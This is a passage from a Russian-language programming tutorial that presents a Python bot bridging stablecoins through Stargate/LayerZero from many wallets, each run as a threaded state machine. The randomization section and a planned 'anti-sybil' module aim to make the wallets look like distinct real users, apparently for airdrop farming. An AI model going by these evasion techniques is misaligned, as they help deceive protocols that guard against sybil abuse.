            'value': layerzero_fee,
            'gas': StargateConstants.SWAP_GAS_LIMIT[self.name],
            'gasPrice': gas_price,
            'nonce': nonce
        })
        
    signed_tx = self.w3.eth.account.sign_transaction(tx, private_key)
    tx_hash = self.w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    print(f'Hash: {tx_hash.hex()}')
        
    try:
        receipt = self.w3.eth.wait_for_transaction_receipt(tx_hash)
    except web3.exceptions.TimeExhausted:
        print('Bridge tx waiting time exceeded')
        return False
    return True

Считаем необходимую комиссию для LayerZero, формируем транзакцию, подписываем, ждем. Все невероятно просто.

3.4 Реализация сетей

Благодаря хорошо продуманной архитектуре, реализация конкретной сети умещается в ~10 строк, остается лишь определить константы:

class Ethereum(EVMNetwork):
    def __init__(self):
        supported_stablecoins = {
            'USDT': Stablecoin('USDT', EthereumConstants.USDT_CONTRACT_ADDRESS, EthereumConstants.USDT_DECIMALS,
                               EthereumConstants.STARGATE_CHAIN_ID, StargateConstants.POOLS['USDT']),
            'USDC': Stablecoin('USDC', EthereumConstants.USDC_CONTRACT_ADDRESS, EthereumConstants.USDC_DECIMALS,
                               EthereumConstants.STARGATE_CHAIN_ID, StargateConstants.POOLS['USDC'])}
        
        super().__init__(EthereumConstants.NAME, EthereumConstants.NATIVE_TOKEN, EthereumConstants.RPC,
            EthereumConstants.STARGATE_CHAIN_ID, EthereumConstants.STARGATE_ROUTER_CONTRACT_ADDRESS,
            supported_stablecoins)

В supported_stablecoins добавляем стейблкоины, которые поддерживает Stargate на данной сети, и которые мы хотим использовать в будущем.

Другие сети добавляются аналогичным образом, думаю не стоит повторяться.

3.5 AccountThread и состояния

Наконец, реализуем класс, который отвечает за аккаунты и на паре примеров разберем состояния.

class AccountThread(threading.Thread):
    def __init__(self, account_id: int, private_key: str):
        super().__init__()
        self.account_id = account_id
        self.account = Account.from_key(private_key)
        self.state = SleepBeforeStart()
        
    def run(self):
        while True:
            try:
                self.state.handle(self)
            except BaseError as ex:
                self.set_state(CheckStablecoinBalanceState())
            except requests.exceptions.HTTPError:
                self.set_state(CheckStablecoinBalanceState())
                time.sleep(TimeRanges.MINUTE)
                
    def set_state(self, state):
        self.state = state

Унаследовав AccountThread от базового класса Thread, остается только определить действие при запуске потока. Тут в игру и входят состояния: устанавливаем SleepBeforeStart первым состоянием и дергаем "магическую ручку" handle, которая обработает каждое отдельное состояние и установит следующее.

# First state
class SleepBeforeStart(State):
    def handle(self, thread):
        sleep_time = random.randint(SleepTimings.AFTER_START_RANGE[0], SleepTimings.AFTER_START_RANGE[1])
        time.sleep(sleep_time)
        thread.set_state(CheckStablecoinBalanceState())

# Last state
class StargateSwapState(State):
    def __init__(self, src_network: EVMNetwork, dst_network: EVMNetwork,
                 src_stablecoin: Stablecoin, dst_stablecoin: Stablecoin):
        self.src_network = src_network
        self.dst_network = dst_network
        self.src_stablecoin = src_stablecoin
        self.dst_stablecoin = dst_stablecoin
    
    def handle(self, thread):
        balance_helper = BalanceHelper(self.src_network, thread.account.address)
        amount = balance_helper.get_stablecoin_balance(self.src_stablecoin)
        
        bridge_helper = BridgeHelper(thread.account, balance_helper, self.src_network, self.dst_network,
                                     self.src_stablecoin, self.dst_stablecoin, amount, STARGATE_SLIPPAGE)
        bridge_helper.make_bridge()
        thread.set_state(CheckStablecoinBalanceState())

Существует еще большое количество состояний, но они все строятся по одному принципу и я не вижу смысла рассматривать каждое отдельно.

3.6 Рандомизация

За счет чего же будет достигаться уникальность аккаунта?

• Случайный выбор сетей
• Случайный выбор стейблкоинов
• Случайная пауза перед началом работы (что также поможет снизить нагрузку на ноды и не попадать под Rate Limit)
• Случайная пауза перед бриджем

Для настройки временных диапазонов существует класс SleepTimings с config.py.

Это и есть вся логика :)

4. Финал

Надеюсь, что данная статья показалась вам интересной. Буду рад, если кого-то прочтение сподвигнет начать/продолжить изучать программирование, что в наше время является невероятно полезным скиллом. Если какой-то момент показался непонятным - советую заглянуть в исходный код и полазить по нему.

Написанный за пару дней, в перерывах между основной деятельностью, скрипт, разумеется, можно улучшать еще во многих аспектах, но нужно ли?

Целью статьи было предоставить базовое понимание о том, как такие скрипты пишутся, а для этой цели, мне кажется, текущий функционал вполне достаточен. Он выполняет конкретные полезные задачи автоматизации и при этом не перенасыщен логикой, что способствует пониманию реализации этой самой логики.

Возможные улучшения:

• Auto-refuel с биржи/смарт-контракта
• Anti-sybil модуль для создания более "живого" кошелька (взаимодействие с децентрализованными протоколами)
• Добавление других мостов

Быть может, я допишу полный функционал и дропну в паблик, но уже без статьи, если на это будет спрос (и у меня желание этим заниматься). Ничего обещать не буду, но все возможно.

Подписывайтесь на канал cppmyk.inc. Есть вероятность, что я не забью хуй на него и буду периодически туда что-то постить.

PS. Если вы нашли какой-то баг, или код не работает по неизвестной причине - пишите в чат, я постараюсь исправить.